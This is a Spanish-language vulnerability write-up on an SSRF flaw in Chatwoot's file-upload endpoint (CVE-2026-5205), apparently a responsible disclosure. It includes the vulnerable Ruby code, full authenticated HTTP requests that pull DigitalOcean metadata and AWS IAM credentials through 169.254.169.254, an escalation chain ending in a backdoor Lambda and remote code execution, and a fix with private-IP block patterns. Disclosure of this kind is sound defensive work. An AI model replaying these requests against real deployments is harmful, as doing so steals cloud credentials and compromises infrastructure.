Neutron, nuestro motor de IA, obtuvo un 96.75% en el benchmark CyberGym de UC Berkeley. Más información

Seguridad

Seguridad

CVE-2026-5205: SSRF crítica en las cargas de archivos de Chatwoot

Un análisis en profundidad de una vulnerabilidad crítica de Server-Side Request Forgery (SSRF) en el endpoint de carga de archivos de Chatwoot (≤ v4.12.1). El endpoint /api/v1/accounts/:id/upload acepta un parámetro external_url validado únicamente mediante una comprobación del esquema, lo que permite a cualquier agente autenticado forzar al servidor a solicitar URL internas arbitrarias. El cuerpo completo de la respuesta se devuelve en banda a través de blobs de ActiveStorage, convirtiendo el endpoint de carga en un proxy de lectura completa. La explotación en vivo en un droplet de DigitalOcean confirmó la exfiltración en banda de metadatos de la nube, incluidos el ID del droplet, el nombre de host, las claves públicas SSH y los paquetes completos de metadatos. Corregido en v4.13.0.

CVE-2026-5205

Chatwoot: SSRF crítica en /api/v1/accounts/:id/upload

26 de marzo de 2026 · CWE-918 · Chatwoot ≤ v4.12.1

Campo Detalles
Debilidad CWE-918: Server-Side Request Forgery
Severidad Alta
Afectado Chatwoot ≤ v4.12.1
Corregido v4.13.0
Autenticación Agente (rol con menor privilegio)
Componente afectado app/controllers/api/v1/accounts/upload_controller.rb

La historia

Empezó con un endpoint de carga de archivos y un parámetro en el que no se debería haber confiado.

En Ostorlab, estaba revisando la base de código de Chatwoot, la plataforma de código abierto para la relación con clientes que se presenta como alternativa a Intercom. Mientras rastreaba los flujos de datos de la aplicación, llegué al controlador de carga de archivos. El endpoint en /api/v1/accounts/:id/upload acepta un parámetro external_url: le das una URL, y el servidor obtiene el recurso, lo almacena como un blob de ActiveStorage y te devuelve una file_url para descargar el resultado.

La pregunta surgió de inmediato: ¿qué impide que esto solicite http://169.254.169.254/?

La respuesta: nada. Una única función, validate_uri, se interponía entre la entrada del usuario y una solicitud HTTP saliente. Comprobaba el esquema de la URL. Eso es todo. Sin validación de nombre de host. Sin bloqueo de rangos de IP. Sin protección contra DNS rebinding. El servidor obtenía con gusto cualquier URL http:// o https:// y almacenaba la respuesta y la devolvía a quien la solicitara.

Y a diferencia de las vulnerabilidades de SSRF ciega, en las que el atacante tiene que inferir la respuesta mediante canales laterales, esta devuelve el cuerpo completo de la respuesta en banda a través del blob de ActiveStorage. No se necesita exfiltración fuera de banda. No hace falta ningún ataque de temporización. El servidor obtiene los datos, los almacena y te los entrega en bandeja de plata.

Desplegué un chatwoot/chatwoot:latest sin modificar en un droplet de DigitalOcean y confirmé toda la cadena de explotación: seis solicitudes consecutivas al servicio de metadatos, cada una devolviendo datos reales de la infraestructura a través de la URL del blob. ID del droplet. Nombre de host. IP pública. Claves públicas SSH. El paquete JSON de metadatos completo. Todo legible con una simple solicitud GET.

El hallazgo se envió al equipo de seguridad de Chatwoot mediante un GitHub Security Advisory. Se confirmó que el problema ya había sido reportado y corregido en v4.13.0. Este artículo documenta la vulnerabilidad tal como la encontré: el código vulnerable, la cadena de explotación y la prueba en vivo sobre infraestructura real.

La vulnerabilidad: SSRF mediante el parámetro external_url (CVE-2026-5205)

El destino (sink)

El endpoint de carga de archivos de Chatwoot en /api/v1/accounts/:id/upload acepta un parámetro external_url. El servidor obtiene la URL en el lado del servidor usando open-uri de Ruby, almacena el cuerpo de la respuesta como un blob de ActiveStorage y devuelve la URL del blob directamente a quien hizo la solicitud. El atacante puede entonces seguir el file_url para leer la respuesta original sin procesar: exfiltración completa en banda.

Rastreando el flujo de datos

El código vulnerable se encuentra en app/controllers/api/v1/accounts/upload_controller.rb:

def validate_uri(uri)
  raise URI::InvalidURIError unless uri.is_a?(URI::HTTP) || uri.is_a?(URI::HTTPS)
end

def fetch_and_process_file_from_uri(uri)
  uri.open do |file|   # open-uri fetches ANY http(s) URL incl. 169.254.169.254
    create_and_save_blob(file, File.basename(uri.path), file.content_type)
  end
end

Eso es todo. validate_uri verifica que la URL use http:// o https:// y nada más. Sin validación de nombre de host. Sin comprobación de rango de IP. Sin lista de permitidos (allowlist). http://169.254.169.254/metadata/v1/id pasa esta comprobación sin ni siquiera despeinarse.

uri.open (de open-uri) realiza una solicitud HTTP GET real a cualquier URL que pase la comprobación del esquema. La respuesta la consume create_and_save_blob, que almacena el cuerpo sin procesar como un blob de ActiveStorage. La file_url del blob se devuelve en la respuesta JSON, lo que otorga al atacante acceso directo al cuerpo completo de la respuesta original.

El servidor responde con:

{ "file_url": "...", "blob_id": "..." }

Siguiendo file_url se obtiene el cuerpo original sin procesar. Ese es todo el canal de exfiltración, integrado en el flujo normal de respuesta de la aplicación.

La ironía: el código de Enterprise tiene protección, el núcleo no

La ironía duele. La edición Enterprise de Chatwoot ya contiene una protección adecuada contra SSRF en enterprise/lib/captain/tools/http_tool.rb:

PRIVATE_IP_RANGES = [
  IPAddr.new('127.0.0.0/8'),    # IPv4 Loopback
  IPAddr.new('10.0.0.0/8'),     # IPv4 Private network
  IPAddr.new('172.16.0.0/12'),  # IPv4 Private network
  IPAddr.new('192.168.0.0/16'), # IPv4 Private network
  IPAddr.new('169.254.0.0/16'), # IPv4 Link-local (cloud metadata)
  IPAddr.new('::1'),            # IPv6 Loopback
  IPAddr.new('fc00::/7'),       # IPv6 Unique local addresses
  IPAddr.new('fe80::/10')       # IPv6 Link-local
].freeze

def check_private_ip!(hostname)
  ip_address = IPAddr.new(Resolv.getaddress(hostname))
  raise 'Request blocked: hostname resolves to private IP address' if
    PRIVATE_IP_RANGES.any? { |range| range.include?(ip_address) }
end

Cobertura completa de IP privadas. Resolución DNS antes de la comprobación. Exactamente lo que necesitaba validate_uri. Pero esta protección estaba limitada al módulo de herramientas de IA de Enterprise, y nunca se aplicó al controlador de carga de archivos, dejando totalmente abierta la ruta de descarga de external_url.

La corrección estaba en la misma base de código. Simplemente no estaba conectada.

Explotación en vivo: droplet de DigitalOcean

Probé esto contra un despliegue sin modificar de chatwoot/chatwoot:latest en un droplet de DigitalOcean. Sin configuración especial, sin ajustes modificados; solo el docker-compose.production.yaml predeterminado. Los resultados hablan por sí solos.

Entorno de pruebas

Propiedad Valor
Proveedor DigitalOcean
Región lon1
ID del droplet 552923997
Nombre de host ubuntu-s-2vcpu-4gb-120gb-intel-lon1-01
IP pública 167.99.195.252
Imagen chatwoot/chatwoot:latest (docker-compose.production.yaml predeterminado)
Atacante agent@acme.test (rol 0: agente, no administrador)

Paso 1: autenticarse como agente de menor privilegio

POST /auth/sign_in HTTP/1.1
Content-Type: application/json

{"email":"agent@acme.test","password":"Password1!"}

Cabeceras de respuesta capturadas:

access-token: zNicAlY5gBHQvFSspta63g
client:       KHysYvoMt2zIkl4yAiJM5Q
uid:          agent@acme.test
token-type:   Bearer

El atacante no necesita acceso de administrador. El rol de agente con el privilegio más bajo es suficiente para llegar al endpoint de carga de archivos.

Paso 2: lanzar solicitudes SSRF contra el servicio de metadatos de DigitalOcean

Las seis solicitudes usan la misma plantilla autenticada:

POST /api/v1/accounts/1/upload HTTP/1.1
Host: 167.99.195.252:3000
access-token: zNicAlY5gBHQvFSspta63g
client: KHysYvoMt2zIkl4yAiJM5Q
uid: agent@acme.test
token-type: Bearer
Content-Type: multipart/form-data

external_url=<TARGET>

El servidor responde con { "file_url": "...", "blob_id": "..." }. Siguiendo file_url se obtiene el cuerpo original sin procesar: la respuesta completa del servicio de metadatos.

Resultados: seis solicitudes consecutivas de exfiltración de metadatos

# Objetivo de external_url Cuerpo del blob devuelto
1 http://169.254.169.254/metadata/v1/id 552923997
2 http://169.254.169.254/metadata/v1/hostname ubuntu-s-2vcpu-4gb-120gb-intel-lon1-01
3 http://169.254.169.254/metadata/v1/region lon1
4 http://169.254.169.254/metadata/v1/interfaces/public/0/ipv4/address 167.99.195.252
5 http://169.254.169.254/metadata/v1/public-keys ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDGORTi7ekb1WsK+3qrDp4IKdaRt/OoAVf0SNSAGuMGd soop@soop
6 http://169.254.169.254/metadata/v1.json Paquete completo de metadatos de DO (droplet_id, vendor_data cloud-init, public_keys, interfaces, dns, …)

Cada una de las respuestas (el ID del droplet, el nombre de host, la IP pública, la clave pública SSH y el JSON de metadatos completo) llegó a través del blob de ActiveStorage, legible por el atacante con una simple solicitud GET a file_url.

Ejemplo completo de solicitud/respuesta: exfiltración del ID del droplet

Solicitud:

POST /api/v1/accounts/1/upload HTTP/1.1
Host: 167.99.195.252:3000
access-token: zNicAlY5gBHQvFSspta63g
client: KHysYvoMt2zIkl4yAiJM5Q
uid: agent@acme.test
token-type: Bearer
Content-Type: multipart/form-data

external_url=http://169.254.169.254/metadata/v1/id

Respuesta:

{
  "file_url": "http://167.99.195.252:3000/rails/active_storage/blobs/redirect/eyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBCdz09IiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--218cce180cd1a069d870bace8d47a23c3f0ac368/id",
  "blob_id": "eyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBCdz09IiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--218cce180cd1a069d870bace8d47a23c3f0ac368"
}

Al obtener file_url:

552923997

El ID del droplet, confirmado en el panel de control de DigitalOcean. Datos reales, exfiltrados en banda, desde una instalación predeterminada de Chatwoot.

Escalada: de SSRF a la toma de control de la cuenta de nube

AWS IMDSv1: el peor de los casos

En instancias alojadas en AWS EC2, ECS, Lambda o Elastic Beanstalk con IMDSv1, esta SSRF se convierte en una vía directa hacia la toma de control completa de la cuenta de nube:

POST /api/v1/accounts/1/upload HTTP/1.1
access-token: zNicAlY5gBHQvFSspta63g
client: KHysYvoMt2zIkl4yAiJM5Q
uid: agent@acme.test
token-type: Bearer
Content-Type: multipart/form-data

external_url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME

El servicio de metadatos devuelve credenciales IAM completas, y como la SSRF de carga de archivos devuelve el cuerpo completo de la respuesta en banda, el atacante las lee directamente desde file_url:

{
  "Code": "Success",
  "Type": "AWS-HMAC",
  "AccessKeyId": "ASIAIOSFODNN7EXAMPLE",
  "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
  "Token": "AQoXnyc4lcK4w...",
  "Expiration": "2026-04-01T00:00:00Z"
}

La ruta de escalada a partir de ahí:

SSRF → AWS IMDSv1 credentials
     → Attacker has AWS IAM role keys
     → Role has S3/EC2/Lambda/ECS permissions
     → Deploy backdoor Lambda / modify EC2 user data
     → Full RCE on cloud infrastructure

Impacto

Escenario Impacto
AWS IMDSv1 (sin límite de saltos) Crítico: robo de credenciales del rol IAM, toma de control completa de la cuenta de AWS
API de metadatos de GCP Crítico: robo de tokens OAuth de cuentas de servicio
IMDS de Azure Crítico: robo de tokens de identidad administrada
Metadatos de DigitalOcean Alto: robo de tokens de nube, claves SSH, datos de usuario
Pivote en la red interna Alto: ataque a interfaces de administración de Redis, Postgres, Sidekiq Web, la API de K8s y microservicios internos
Exfiltración de secretos Alto: lectura de endpoints internos de depuración/estado
Escalada de privilegios Alto: las credenciales de nube robadas conceden acceso más allá de Chatwoot

La corrección de CVE-2026-5205

La vulnerabilidad se corrigió en Chatwoot v4.13.0. El aviso canónico se rastrea como GHSA-6fj9-gj7h-q2hf.

Enfoque recomendado: validar la IP resuelta antes de solicitar el recurso

La corrección debería validar la IP resuelta frente a los rangos privados antes de que open-uri realice la solicitud:

require 'resolv'

PRIVATE_IP_PATTERNS = [
  /\A127\./, /\A10\./, /\A172\.(1[6-9]|2\d|3[01])\./,
  /\A192\.168\./, /\A169\.254\./, /\Afc00:/i, /\Afe80:/i
].freeze

def validate_uri(uri)
  raise URI::InvalidURIError unless uri.is_a?(URI::HTTP) || uri.is_a?(URI::HTTPS)
  resolved = Resolv.getaddress(uri.host) rescue nil
  raise URI::InvalidURIError, 'SSRF: internal host blocked' if resolved && PRIVATE_IP_PATTERNS.any? { |p| p.match?(resolved) }
end

Mitigación a nivel de nube: habilitar IMDSv2

En AWS, exija IMDSv2, que requiere un PUT con una cabecera de token que open-uri no puede falsificar:

aws ec2 modify-instance-metadata-options \
  --instance-id i-xxxx \
  --http-tokens required \
  --http-put-response-hop-limit 1

Esto es una mitigación, no una corrección: el acceso a servicios internos sigue siendo posible independientemente de IMDSv2.

Cronología

Fecha Evento
2026-03-26 Vulnerabilidad descubierta mediante revisión del código fuente
2026-03-26 Confirmada mediante explotación en vivo en un droplet de DigitalOcean (v4.12.1)
2026-03-26 Informe enviado mediante GitHub Security Advisory
2026-04-22 El equipo de Chatwoot confirmó que el problema ya había sido reportado y corregido en v4.13.0
2026-04-22 Aviso cerrado; seguimiento canónico en GHSA-6fj9-gj7h-q2hf

Referencias

Recurso Enlace
Aviso canónico GHSA-6fj9-gj7h-q2hf
CWE-918: Server-Side Request Forgery https://cwe.mitre.org/data/definitions/918.html
Hoja de referencia de OWASP para la prevención de SSRF https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html
Explotación de AWS IMDSv1 https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-retrieval.html
Directrices de reporte de seguridad de Chatwoot https://developers.chatwoot.com/contributing-guide/security-reports